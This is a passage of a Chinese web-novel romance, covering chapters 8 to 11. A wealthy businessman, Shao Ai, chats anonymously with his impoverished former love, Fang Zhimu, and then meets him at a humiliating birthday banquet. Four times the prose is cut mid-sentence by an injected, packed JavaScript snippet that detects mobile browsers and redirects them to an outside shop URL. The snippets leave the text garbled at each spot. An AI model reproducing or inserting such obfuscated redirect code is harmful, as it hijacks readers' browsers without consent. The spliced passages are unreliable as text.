“……”屏幕幽蓝的光映亮邵艾锋锐的轮廓,让那张本就冷漠的脸显得更加不近人情。他冷冷看着聊天界面的文字。 极光终于决定开始撩富婆了?问草莓酱喜欢什么东西,是想突然送她个惊喜?邵艾想了想,邵苡确实很吃这一套。 如果极光的聊天对象不是他而是邵苡,这会儿邵苡已经高兴得走路都要用蹦的了。 修长指尖搭在电容屏上,邵艾慢慢敲字:【哥哥为什么忽然问这个?是想送妹妹礼物?】 极光:【不是的,我没有妹妹。】 邵艾眯起狭长眼睛,【那是要送女朋友吗?】想了想,又加了一个小狗哭哭的表情包——表情包全是从邵苡那里偷来的。 极光:【我也没有女朋友……算是朋友吧。她要过生日了,但我对送什么礼物一筹莫展,想着你们年龄差距不算大,所以想要问问你的意见。】 那他算是问对人了。 邵艾给不出任何意见。 因为他不仅比极光这个女性朋友大很多岁,甚至他都不是个女的。 邵艾站起身,几步上到三楼,敲敲邵苡的房间门,邵苡不爽道:“马上就睡了别催了!” “我找你有事。”邵艾推开门,靠在门边上说:“你今年生日希望收到什么礼物?” 一听这个,邵苡立刻来了兴趣,如数家珍:“粉色法拉利,钻石手链,新出的包、让我喜欢的明星陪我去迪士尼玩一天或者那套全球限量一百台的游戏机。” 邵艾飞速评估了一下,按照极光的经济条件,他连上述的包的配货都买不起。 “朴实一点。”邵艾说。 邵苡:“你要破产了吗?” “帮别人问的,并不是要送你生日礼物。” 邵苡撇嘴,坐了回去,倒也认真想了想,道:“那就送一些小饰品好了,丝带发饰什么的——千万不要送化妆品和香水,超级容易踩雷。” “早点睡。”邵艾要关门出去。邵苡却道:“你帮谁问的?不会是你那个女朋友要过生日了吧?” 邵艾:“早点睡。” 他把门关上了。回到房间后将邵苡说的话复述给极光,极光发了一个猫咪鞠躬的表情包给他。 邵艾靠在柔软的沙发里,房里没有开灯,从落地窗可以看见中庭那个巨大的喷水池,闪烁的灯光永不知疲倦,彻夜明亮。蓦地让邵艾想起从前方知慕家里住的别墅区,那里也有个很大的喷泉。 他曾和方知慕一起在那里投硬币许过愿。其实许愿的时候他们谁都不相信支付一枚硬币就能换来那么幸福的余生,但等真正在社会上摸爬滚打时,才深刻意识到那是多么奢侈的愿望。 少年时候追名逐利,觉得钱能买来一切。到了如今,又开始追逐钱买不来的感情。人之一生,好像总在渴求不属于自己的东西。 …… 淮城早些年因为规划不完善,导致市中心有大片陈旧的破房子,就像是老鼠在光鲜亮丽的锦缎上啃噬出的丑陋痕迹。这些筒子楼密集破旧,灰蒙蒙的令人看了就觉得不舒服。由于环境差、人口密度高、租金低廉,也被人戏称为“贫民窟”。 方知慕就租住在这里。 虽然环境确实很差,楼道里随处可见乱扔的垃圾、小区八百年不打扫、物业形同虚设,但有一点好,那就是逛商场方便。三公里内有两个大型商场。 宋铭松这些年一直在走下坡路,但是瘦死的骆驼比马大,对于宋蔓这个独生女还是非常宠爱的,一直娇养,礼物要是太廉价,他也送不出手。 什么钻石手链、大牌包包,方知慕根本买不起,所以思来想去,他选了一个大牌的发卡,价钱他能勉强负担得起,当做宋蔓的生日礼物也算合适。 结果进店的时候,还被人拦了一下,对方道:“我们这里不让外卖员进,不好意思。” 方知慕一顿。 这才想起出门的时候他随便抓了件衣服穿上,是平台给发的工服。因为洗过太多次,都有些褪色了。 “我来买东西。”方知慕仿佛没有看见其他顾客异样的眼神,“也不可以进去吗?” “……抱歉,请问您要买什么,我帮您介绍。” 以前方家还如日中天时,方知慕很少自己来逛商场,都是各大品牌出了什么新品直接送到家里让母亲挑选的,方知慕要是正好在,也会跟着选几样。 所以他并不知道是不是所有人逛商场时柜员都会像是防贼一样紧紧跟着。 又或许是他一身穷酸气,确实像是来偷东西的。 方知慕拿出手机,“可以拍照吗?我想让我朋友帮忙选一下。” 柜员露出笑容:“当然可以。” 方知慕拍了几张照片发给草莓酱,询问她哪个颜色比较好看。在他看来这玩意儿跟路边五块钱一板的发卡也没多大区别,不懂到底贵在什么地方。 邵艾刚跟几个生意上的合作伙伴吃完饭,高希玥说自己定的包到了,要来取一趟,反正也近,大家就一起过来了。 高希玥进店拿包,他和其他几人站在栏杆边上,其中一人摩拳擦掌刚准备跟邵艾搭话,忽然邵艾手机响了声,他只好闭嘴。 邵艾看了看极光发来的图片,毫不犹豫:【粉色。】 极光:【柜姐说大家比较喜欢蓝色。】 草莓酱:【你信我还是信她?】 极光:【信你。我马上就去付款。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949085|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 邵艾挑起唇角。 “跟谁聊天呢这么开心?”高希玥直接拎着自己的限量款新包出来了,瞅着邵艾,“今天一整天你都板着个脸,不知道的还以为我欠了你八百万。” “没谁。”邵艾收起手机,淡声道:“东西拿到了就走吧,陈总还在等。” 高希玥没多问,因为她知道就算是问了邵艾也不会多说一句,简直就是个锯嘴葫芦,闷得很。 这时候忽然有人道:“邵总,你知道我刚看见谁了吗?” 邵艾转头。 眼前这个胖子叫伍天华,和邵艾是高中同学,也是他们班班长。但那时候邵艾没权没势,伍天华很看不起他,都是跟在方知慕他们身后献殷勤。 这次回淮城发展,也不知道是什么孽缘,伍天华竟然是接洽公司的产品经理,难免有些业务上的往来。 只是时移世易,当年班长一口一个轻蔑的“穷酸鬼”,现在也变成了一声声恭敬的“邵总”。 “我刚不是去卫生间了么,出来的时候见着方知慕了。”伍天华夸张地挑着眉毛,极力地想要调动所有人的情绪, “他在店里买东西呢,一两千块的东西,竟然还问能不能微信和支付宝各付一半……邵总,你说搞不搞笑?” “念书那会儿,方知慕仗着家里有几个臭钱,成天惹是生非,没少刁难邵总你吧?”伍天华义愤填膺,“谁知道风水轮流转,他家破产了,也是报应。” 高希玥好奇:“方知慕是?” “我们高中同学。”伍天华说:“就是个人渣败类,邵总以前总被他欺负。” 他忽然看见什么,指着楼下说:“喏,人在那儿呢!穿的还是送外卖的衣服,啧啧,方小少爷真是落魄了哈,听说他去送外卖了我还不信,结果是真的啊。” 从高处能清楚看见其他楼层的人,高希玥顺着伍天华指的方向看去,果然看见一个黄色T恤的年轻人正沿着走廊往前。个子高挑清瘦,便显得衣服格外宽大,整个人像是套在衣服里晃。 但他即便撑着拐杖也腰背挺直,并不在意旁人的视线,看起来倒是有种宠辱不惊的意味。 因为角度问题,高希玥只能看见他的侧脸,距离远,有些不清晰,但从眉骨、鼻尖到下颌骨的折角来看,那应该是一张生得很不错的脸。 并且让高希玥觉得有些眼熟。 伍天华道:“邵总,要不要把人叫上来?君子报仇十年不晚嘛,当年他欠你的总要一一还回来。” 直到方知慕的背影消失在了扶梯转角,邵艾才收回视线,不冷不热道:“伍经理,我刚已经说了,陈总还在等着。” 不知道怎么的,邵艾话说得挺客气,伍天华却有点背后发凉,忙赔笑道:“是是是,咱们还是先去开会吧。” 邵艾率先迈步,高希玥追上他,小声道:“我就说怎么看着眼熟……上次在你公寓里,来送蛋糕那位?” 邵艾瞥了她一眼,没说话。 高希玥眨眨眼,“作为你的女友,你交了男朋友也该通知我一声才是啊,我又不介意。” “……”邵艾说:“不是男朋友。” 是前男友。 9. chapter9 方知慕将那个包装精美、和周遭环境格格不入的礼物盒放在了桌子上。 希望宋蔓会喜欢这份生日礼物。 晚上八点上班的时候,方知慕明显察觉到草莓酱兴致不高,很少说话,吃鸡也没什么反应。作为陪玩,照顾老板情绪是应该的,方知慕想了想,开口问:“老板,遇到什么烦心事了吗?” “……”草莓酱恹恹地说:“嗯。今天遇见我前任了。” 方知慕噗嗤一声笑了,“你还这么小,就已经有刻骨铭心的前任了吗?” “是否刻骨铭心和年龄的大小并没有必然的相关性。”草莓酱说:“那哥哥你呢,你有前任吗?” 方知慕原本开着六倍镜在瞄准对面楼里的人,听见这话,指尖一滑,子弹提前出膛,打在了窗框上。那人立刻警觉地缩了回去,同时开始反击,一梭子打掉了方知慕半管血。 “哥哥?”草莓酱惊讶。 方知慕连忙换了个点,架枪爆了对面两人的人头,这才靠在墙角打药。 他想起半个多月前,进入的那间高档公寓。猝不及防的重逢让方知慕处在完全的混沌中,时至今日他已经不太记得自己当时做了什么,唯一鲜明的只有女人那片红色的裙角。 明艳,妖娆,像是一只翩跹的蝶。 方知慕回答,“我都要三十岁了,当然有。” 但其实邵艾算不上他的前任。因为他们从始至终,都没有在一起过。 “那。”草莓酱又问:“足够刻骨铭心吗?” 好像又有一场无边无际的苦雨从天穹坠下,那时候刺槐的叶子已经掉光,风一卷,全是枯枝枯叶,落入泥泞的界面,变作肮脏的垃圾。 它们将在不知何处腐败、溃烂,经年的的疼痛后,再融入土壤中,不会留下丝毫曾经存在的痕迹。 “足够的。”方知慕说:“大概到了我八十岁那年,都还会记得他的脸。” 草莓酱:“哥哥这么长情可不好再找新女友哦。” “那你呢。”方知慕道:“你今天看见你的前任后这么低落,是想跟他复合吗?” 复合。 看着这两个字,邵艾烦躁地点了支烟。 “没有。”他面无表情地说:“我没想过复合,我们已经是两个世界的人了。” 方知慕当小孩子嘴硬,并没有放在心上。 草莓酱似乎也觉得这个话题不适合继续聊下去,道:“哥哥,我这周三晚上有事,不能跟你打游戏,你自己安排时间吧。” 方知慕一愣。 好巧。 他刚想跟草莓酱说周三要去参加宋蔓的生日宴会,想要请一天假呢。 草莓酱兴致缺缺,没打两把就退了。方知慕盯着虚空良久,忽然下床从床头柜的抽屉里翻出一只旧手机。 很多年前的款式,放在现在简直像是个古董,方知慕却还留着它的充电器。 插上电源,开机,方知慕打开聊天软件。手机太老,已经非常卡顿,白屏了好一会儿才进入界面。置顶聊天仍旧是那个黑色头像的人,备注叫做“青团”。 他点开联系人,密密麻麻全是他发送出去的消息。十年来已经累积了不知道多少条。摔了跤、买到再来一瓶、发了奖金、收到客户打赏、楼下的流浪猫生了几只猫崽、今年夏天真的好热…… 开心的不开心的,是他十年来的全部。 他都讲给邵艾听,因为他知道这个号早就停用了。 邵艾看不到。 方知慕蜷缩在床上,看着那些文字,如同又在狼狈的年月里滚了一圈,好像一条落水狗。 他以为十年过去,自己终于可以坦然一些,结果毫无长进,只是听见别人提起前任,都忍不住红了眼眶。 …… 周三这日,方知慕在衣柜里翻翻找找,终于找到了一套正装。 是他十八岁那年定做的一套西服。当年方家破产,能卖的东西全部都卖了,唯有这套衣服,保姆阿姨执意让他留着,说以后要是出席正式场合,肯定用得着。 二十八岁的方知慕比之十八岁的方知慕身量自然有所变化,无论是肩宽还是身高,都比当年的数据大。但又因为太瘦,穿上倒也不算很拘谨。 一居室里没有落地镜,方知慕在一楼不知道谁贴的镜子前照了照。他看着镜子里的人,想要学着从前那样笑一笑,露出来的笑容却很难看,让他叹了口气。 宋蔓的生日宴在一个大酒店举办,方知慕到的时候已经来了不少宾客,红男绿女,衣香鬓影。大酒店的高级香氛闻得他头昏脑涨。 宋铭松原本在招待客人,看见他,顿时眼睛一亮,道:“蔓蔓,快过来。” 作为今日的小寿星,宋蔓一身粉色礼服,长发盘起,戴了一顶钻石皇冠,脖子上的宝石项链也晃人眼睛。 “干什么呀爸爸?”宋蔓疑惑。 宋铭松拍拍她的手,“来,我给你介绍一下,这是方知慕,你知慕哥哥,还记得吗?你小时候总爱粘着他的。” 宋蔓脸色一变。宋铭松的妻子郭琳冷淡地看了方知慕一眼,脸上没什么表情,转头跟人说起美容院的事,完全把方知慕当空气。 方知慕已经习惯了她这种态度。 在很久以前,他和郭琳其实很亲近,挨了母亲的骂就躲去宋家,郭琳会心疼地给他做好吃的饭菜。 “你好。”方知慕温声道:“你都长这么大了,和小时候完全不一样。”他将礼物递出去,“生日快乐。” 宋蔓抿紧唇,接过盒子打开看了眼,而后直接扔在地上,冷笑道:“这种东西你也好意思送给我?土死了。” 花了方知慕两个月生活费、被包装得非常精美的粉色发夹从盒子里摔出来,磕在酒店高级的大理石地板上。事实证明大牌的东西质量其实也就一般,发夹磕在地板上,立刻掉了一小块漆面。 周围其他人都看了过来,宋铭松呵斥道:“怎么这么没礼貌?你哥哥好心好意给你送礼物,你这是什么态度?!” 宋蔓也觉得委屈:“这是我的生日宴,我没有邀请他,你就是故意来恶心!” “你!”宋铭松被气得不轻,抬起手来,郭琳将女儿拉到自己身后,冷冷道:“老宋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949086|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们蔓蔓哪配叫方小少爷哥哥。” 宋铭松面部肌肉抽搐,脸色青黑。 夫妻俩对峙,谁也不肯让步。 “是我考虑不周。”方知慕垂眸,轻声说:“可能我挑选的礼物确实不合宋小姐心意。” 他弯腰将发夹和盒子捡起来,手指轻轻抚过那块掉漆的地方。心想搞成这样,二手都卖不上价了。 宋铭松道:“知慕,你跟我过来。” 方知慕跟着他离开,宋蔓咬了咬牙,“妈,你看爸那个样子!” “没事。”郭琳摸了摸女儿的头发,微笑:“今天是你的生日,开心点,去玩儿吧。” 等郭琳也去招待宾客了,宋蔓的一群朋友才围上来,七嘴八舌地问:“蔓蔓,刚刚那个帅哥是谁啊?” “其实他买那个发夹挺好看啊,你怎么发这么大脾气?” 宋蔓都要烦死了,“他是来跟我争家产的。” 几人面面相觑,都想起了那个流言。 宋铭松原本只是给人打工的,后来方家的公司出了问题,桑闵茴和方岩又一个死一个伤,剩下一个刚成年还在念高中的儿子对公司业务一窍不通,宋铭松趁虚而入,低价收购了方家的公司,才有了如今的地位。 十年前就有人嚼舌根,说方岩出车祸是因为知道了自己帮别人养了十八年的儿子,所以才会在大雨天开车过高架桥的时候翻车,桑闵茴则是因为自己出轨的丑行被揭露,觉得对不起丈夫才上吊自杀。 宋铭松这些年一直没有认回方知慕,大家一度以为这只是好事者编排的八卦,但现在看宋蔓的反应,竟然是真的? “如果我知道宋小姐这么不欢迎我,我是不会来的。”方知慕平静道:“今天是她生日,没必要给她添堵。” “叫什么宋小姐,她是你妹妹。”宋铭松皱眉,抬手想要搭方知慕的肩膀。 “我没有兄弟姐妹。”方知慕退后一步,避开宋铭松的手,“这种事不会再有第二次,我先走了。” “你要走到哪里去?”宋铭松沉下声音,“今天来了这么多宾客,我正要把你介绍给他们。” 方知慕有些厌倦,也有些疲惫。也不知道是不是以前跟着方言做助理被呼来喝去太久,这人掌权之后就尤其喜欢不顾他人意愿安排他人人生,方知慕首当其冲。 “我只是一个送外卖的。”方知慕说:“宋总把我介绍给他们干什么?以后遇见我送的单子给我打赏五块钱么?” “你……” 宋铭松话还没说完,人群忽然一阵骚动,恭维声此起彼伏:“邵总!”“邵总来了。”“闻名不如见面,邵总可真是青年才俊啊。” 方知慕一怔,转过头,正见邵艾从门口进来。 水晶灯光芒璀璨,晶体折射出无数破碎的光,一众围着他寒暄的人要么啤酒肚要么地中海,便衬得一身黑色衬衣的男人格外肩宽腿长,好似一棵临风的树。 挽着他手臂的女人红裙艳丽,妆容精致,漂亮得如一枝带刺的花。 方知慕想起,自己是见过她的。 在邵艾的公寓里。 10.chapter10 宋蔓的朋友们见邵艾来了,都去看她,挤眉弄眼,语气兴奋:“邵总长这么帅,蔓蔓你好福气呢。”“听说他是白手起家,今年才三十岁不到,真的好厉害。”“不过他身边那个女人是谁啊?” 听见朋友们的揶揄,宋蔓不太高兴。 她知道家里的公司只是看着光鲜,实则外强中干,宋铭松每天都在发愁。刚传邵艾这个商界新贵要回淮城发展时,宋铭松就动了联姻的心思。 宋蔓本人对此相当抵触,不理解为什么都这个年代了还搞包办婚姻,让她嫁给一个见都没见过的人,简直荒唐。 但她也到底不是可以任性妄为的年纪了,知道宋铭松有他的难处,比起面临家里破产的悲惨处境,联姻也就显得是条好出路了。 宋蔓好不容易说服想自己配合宋铭松,谁承想邵艾带着个女人来参加生日宴。 宋铭松早就放出了联姻的风声,邵艾这么做跟打她的脸有什么区别? “邵总!”宋铭松夫妻忙迎上去,郭琳露出了笑容:“感谢邵总百忙之中抽出时间来参加小女的生日宴。” 邵艾跟这对夫妻握了下手,淡声道:“宋总,夫人,客气了。” “蔓蔓,来。”郭琳招招手,“这就是妈妈之前跟你提过的邵总,说起来你们还是校友,又是同一个专业,应该很有共同话题。” “你好。”宋蔓微笑道:“久仰学长大名。哪怕学长毕业这么多年,学院里还是不时有人提起你呢。我们有门课的授课老师就是学长当年的同学。” 她一上来就叫了学长,瞬间拉近距离,这些社交手段,宋蔓从小耳濡目染,自然炉火纯青。 邵艾还没说话,他旁边的女人倒是挽住他胳膊,笑着说:“你也是商学院的?巧了呀小学妹,我跟邵艾是同一班的,也算是你学姐哦?” 宋蔓抿了下唇,“您是?” “哦,我叫高希玥。”女人大大方方伸出手,看着宋蔓道:“是邵艾的……合作伙伴。听说今夜是你二十岁生日,就想跟着邵艾一起过来看看。我不请自来,没给你造成麻烦吧?” 她说的是邵艾的合作伙伴,但不管是言谈还是举止,都不像是单纯的合作伙伴。 宋蔓勉强笑着跟她握了下手。 就是再蠢她都知道这是邵艾对甚嚣尘上的联姻传闻做出的答复了。她有些难堪,道:“爸妈,我朋友还在等我,我先过去了。” 宋铭松:“邵总还……” 宋蔓一言不发,脸色难看地离开了。 “这孩子真是让我惯坏了,没礼貌。”宋铭松笑呵呵道:“希望邵总不要介意。” “邵艾不会介意的。”高希玥说:“宋小姐和邵总的妹妹也没差几岁,这个年纪都是这样的,他都习惯了。” 言毕还故意侧头看着邵艾,“是吧,邵总?” “……”邵艾说:“嗯。” “那就好那就好。”宋铭松道:“其实我今天还有个人要给邵总介绍,不知道邵总还记不记得他。” 原本一直躲在人群中的方知慕浑身一僵。 知道宋铭松打算把宋蔓嫁给邵艾的时候他很惊讶,毕竟两人年纪差的有些大,但仔细想想,邵艾其实是个相当不错的女婿人选,有钱,英俊,事业稳定,嫁过去也不用伺候公公婆婆……挺适合宋蔓的。 所以他以为今天这场宴会的主角该是宋蔓和邵艾,与他没什么关系。谁承想女主角没到五句话就转身离场,他反倒被拉上了五光十色的舞台,像个小丑般粉墨登场。 方知慕转身就要走,但宋铭松的动作更快,一把抓住他手臂,强行将人拉了过来,完全无视方知慕苍白的脸色,道:“方知慕,我儿子,和邵总是高中同学,不知道邵总还记不记得?” “……” 窃窃声四起,郭琳做工精致的指甲扣紧了香槟杯,饶是她一贯处变不惊,此刻也不由表情管理失败。 宋铭松竟然当众承认了方知慕是他儿子。他下一步还要干什么?让方知慕进公司,继承家业?! “我的天……传闻是真的?”“早就说了宋铭松和方岩他老婆有一腿,你们还不信。”“要真是他儿子,怎么这么多年都没认回来?”“早年觉得自己还能生出别的儿子呗。” 他们声音其实很低,但不知道为什么,方知慕听得清清楚楚。 又或许他其实并没有听见宾客们的议论,只是这一幕曾经无数次出现在他的噩梦里,他的大脑已经记住了会有什么样的流言蜚语。 曾经他以为当这些见不得光的家事暴露在阳光下时,自己会很难堪,可等真正到了这一天,他竟然只觉麻木。 难怪都说再尖锐的棱角都会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952585|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活磨平,直至此刻,方知慕才恍然,形形色色的打量、充满恶意的揣测,甚至比不过他送外卖时因为翻了车洒了顾客的外卖而赔钱时的难过。 “知慕。”宋铭松推推方知慕,“跟邵总打个招呼。” 方知慕一直垂着眼睫,没去看邵艾的脸,他知道今天要是不如宋铭松的意,他不会罢休,便不着痕迹地吸了口气,抬头看向邵艾。却又在触到对方那双漆黑的眼睛时,心头一颤。 “……”这十年来,方知慕不是没有想过自己会不会再跟邵艾重逢,也设想过很多次重逢时他该说些什么。但到底他只是慢慢伸出手,说:“好久不见。” 高希玥认出方知慕,颇感意外地挑了下眉,从她这个角度,可以看见邵艾绷紧的下颌骨。 看来真是前男友啊。 方知慕的手悬在空中良久,邵艾都没有反应。他有些尴尬,想要收回来,邵艾却又忽然握住他的手,方知慕看见他腕上那块百达翡丽的表,在灯光下显得无比刺目。 邵艾很快松开,冷淡道:“好久不见。” 方知慕将手背到背后,完全不知道该说什么了。从前他和邵艾无话不说,如今竟然无话可说。 “这不是方小少吗。”伍天华笑嘻嘻地从人群中钻出来,上上下下打量方知慕,“多年不见,怎么这么落魄了?” 方知慕一时间没认出来这人是谁。好一会儿才从那种熟悉的、欠揍的语调中抓住了一点过往的记忆。 伍天华,高中两年都是他的小跟班,方知慕对他印象还算深刻,相信邵艾也是如此。 “听说你现在在送外卖啊?”伍天华一只手端着香槟,另只手去揽方知慕的肩膀,结果对方个子太高,他还得踮着脚,只好改为大力拍了拍方知慕的背,道:“以前念书的时候,方小少仗着家里有钱,对邵总呼来喝去,颐指气使,没少磋磨人,怎么,没想到有朝一日,身份调转,你成了那个汲汲营营就为了口饭吃的人吧?” 方知慕不想跟伍天华多说,他很清楚这种人,越是搭理就越来劲,伸手想要推开这个胖子,不曾想伍天华举着杯子刚要喝酒,推搡之下,杯子里的酒液全洒在了他的外套上。 方知慕一僵。 “我操。”伍天华面色大变,一把揪住方知慕的衣领,怒道:“我这外套十一万,你赔得起吗?!” 11.chapter11 方知慕原本脱口我赔你一件新的,听见价格后又咽了回去。 十一万,快赶上方岩一年的住院费,他确实赔不起。 伍天华显然也看出了他的窘迫,想起以前方小少爷挥金如土花钱不眨眼,再对比如今落水狗的可怜样,他心中不禁升起一阵扭曲的快意。 就好像宋铭松非常在意别人在他面前提起曾经他只是个跑腿的助理,伍天华也不愿意回首自己学生时代跟在方知慕身后当舔狗的样子。好似如今让方知慕多难堪一分,那些实则只有他自己记得的丢脸往事就能淡去一分。 这件事方知慕也确实有责任,他挺好声好气地说:“要不然你脱下来我送去干洗吧,应该是能洗干净的。” 伍天华吊着眼睛,“洗?方小少爷,我这是无妄之灾,你应该赔我件新的才对啊。” 不等方知慕答话,他脸上的肥肉又抽动了几下,满怀恶意地看着方知慕,“哦,我忘了,方小少爷已经不是少爷了,要想赔得起这件衣服,恐怕得辛辛苦苦跑上大半年吧?” “照理说你挣钱这么辛苦,我不该跟你太过计较,但谁的钱是大风刮来的呢,我挣钱也很不容易啊。” 说到这里,他装模作样地想了想,而后一拍手:“不如这样吧,看在你过得你这么艰难的份上,你给我跪下,诚心诚意道个歉,我就不跟你计较了,怎么样?” 围着看戏的宾客们一阵哗然。 伍天华在圈子里时出了名的媚上欺下,都说赖狗长毛满街招摇,小人得志便猖狂,用来形容他简直太合适不过。 宋铭松沉声道:“伍经理,过分了。” “过分?”伍天华要笑不笑地道:“他跪下就值十一万,这么挣钱的买卖除了我这里,还能上哪儿找?” “宋总也是,这么着急干什么,你把他当儿子,人家叫过你一声爹吗?” 宋铭松脸色极其难看,还要说什么,郭琳却一把拦住了他,低声道:“这是他自己闯出来的祸,就该他自己收拾。” 几乎所有人的视线都落在了方知慕身上。 其实他倒没有其他人想得那么尴尬难堪。下跪么,不就是弯一下膝盖。弯一下膝盖能解决的事情,就不要让它变得更加麻烦、更加不可收拾。他甚至想,只有心比天高的少年人才会把这种小事放在眼里,还说什么男儿膝下有黄金…… 男儿膝下确实有黄金,一跪十一万,按照现在的金价,起码能买个八十克黄金。 划算。 如果是以往,他肯定在伍天华说的时候就跪了,但今天,他犹豫了几分钟。因为邵艾在这里。 这些年过得乱七八糟,十分混乱,脸早就丢光了,但到底还想在邵艾面前维持几分形象——或许在邵艾眼里他根本就没有这种东西,可他还是在意的。 “喂。”伍天华等的不耐烦了,“你到底怎么选?” 方知慕想,算了,反正这次见面后多半后会无期,丢脸就丢脸吧,丢脸总比赔偿十一万好。 他从从容容就要跪下去,忽然有人冷淡道:“今天宋小姐生日,闹这么难看做什么。” 方知慕一怔,抬起头。 邵艾脸上没有丝毫表情,也没看方知慕,话是对伍天华说的:“伍经理是来参加宴会的,还是来给宋小姐添堵的?” 伍天华的冷汗瞬间下来了。 之前他看邵艾分明没有跟宋家联姻的意思,怎么现在听着,又好像对宋蔓那丫头挺在意?难不成是见了一面后,改了主意?宋蔓确实长得挺漂亮,是男人会喜欢的类型。 方知慕到底是宋蔓同父异母的哥哥,要是今天真在她生日宴上下跪,传出去也不好听,伍天华忙道:“我就是开个玩笑,玩笑而已。” 邵艾平静道:“要双方都觉得好笑才叫玩笑,伍经理,你说是吗。” “……”伍天华擦了把额头上的冷汗,“是,我记住了,以后肯定不乱开玩笑。”他现在任职的公司急需和邵艾合作,所以不管邵艾说什么做什么,他都要好好奉承,否则可能连经理的位置都保不住。 郭琳道:“还是邵总贴心。要是出了这样的事,蔓蔓肯定会很难过。”她从邵艾那两句话里看出了联姻的希望,笑容慈和:“她在和朋友们拍照,我待会儿就叫她过来跟邵总聊聊。” 邵艾无可无不可地应了声。 郭琳看向方知慕,面色冷淡下来,“你先回去吧。” 方知慕感激地看了她一眼,郭琳却直接侧过头,没有任何反应。这场热闹的生日宴原本就不是他该来的地方,方知慕离开的脚步很快,直到了门口,他才忽然脚步一顿,还是没忍住回头看了眼。 宋蔓又被叫了回来,这次看着倒是和邵艾相谈甚欢的样子。他们站在璀璨的灯光下,小提琴曲调悠扬,昂贵的腕表,奢华的首饰,俊男靓女,十分登对。 他们才是同一个世界的人。 方知慕静静看着邵艾的侧脸,一时之间竟然记不起十年前的邵艾是不是也像这样,时时刻刻面无表情,好似一块万年不化的坚冰。 十年太长,长到那些他以为会一辈子清晰如昨的记忆都蒙上了名为岁月的灰尘,就像是不管存放得多好的老照片,终究都会泛黄,褪色,斑驳,腐烂。 方知慕收回视线,揣着那个掉了漆的发卡,独自走出富丽堂皇的酒店。 看来邵艾这些年事业一片光明,身边也不缺人。起码他们之中有一个人过得不错。 邵艾今晚不可避免地多喝了几杯。 不过他酒量好,没什么感觉。但这场拉皮条一样的宴会实在是让他厌烦,没待多久就装出醉态,高希玥适时道:“邵总醉了,我们就先告辞了。” 宋铭松自然不好再留客,伍天华十分殷勤道:“高小姐,我来扶着邵总吧,你穿着高跟鞋,不方便。” 高希玥也完全不想干搀着一米八几大男人的苦力活,笑眯眯说好啊,真是麻烦你了。 伍天华本来就胖,体力相当一般,从酒店到地下停车场的路上满头大汗,好不容易把人塞进车里,他已然气喘吁吁,活像是刚刚负重跑了场田径。 高希玥递给他一瓶水,关切道:“伍经理,你还好吧?” “没事没事。”伍天华忙摆手,他喘匀了气,才瞥了邵艾一眼,搓搓手,“那个,高小姐,你跟邵总走得近,有没有听邵总说过签合同的事情啊?” 淮城这些年的实业一直很低迷,不管是宋铭松还是伍天华所在的公司,都迫切地想要吃上互联网这碗饭,邵艾回淮城,对很多人来说都是香饽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955376|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饽,一天里能收到十几二十张不同的请柬。 其中伍天华和宋铭松是最着急的。 从邵艾回淮城开始,伍天华就跟在他身边端茶倒水嘘寒问暖,谁知道十年过去,当年那个食堂都吃不起的穷小子已经完全变作了另一个人,伍天华完全揣摩不透他的心思,根本不知道邵艾到底属意跟谁家合作。 偏偏上面又催得紧,所以伍天华才会趁机从高希玥这里打探消息。 之前在宴会厅还醉得人事不省的人这会儿却神志清醒,从旁边的手套箱里拿了个什么东西出来,拧开钢笔唰唰唰写了几行字,最后撕下一张纸,两根修长手指夹着,塞进了伍天华怀里,“合同的事不急。” 邵艾忽然说话吓了伍天华一跳,好几秒后才低头去看邵艾给他的东西。 一张支票,金额二十万。 “这……”伍天华很是茫然,不知道邵艾忽然给自己一张支票干什么,想要问问,邵艾却直接升起了车窗。 高希玥靠在驾驶座上,点了支烟,笑着道:“不明白?” “……不明白。”伍天华惶惶:“我是哪里做的不周到,得罪了邵总吗?邵总为什么给我支票?” 高希玥吐出个烟圈,红色的长指甲轻轻点了下支票上的金额,道:“这是赔你那身衣服的钱。” 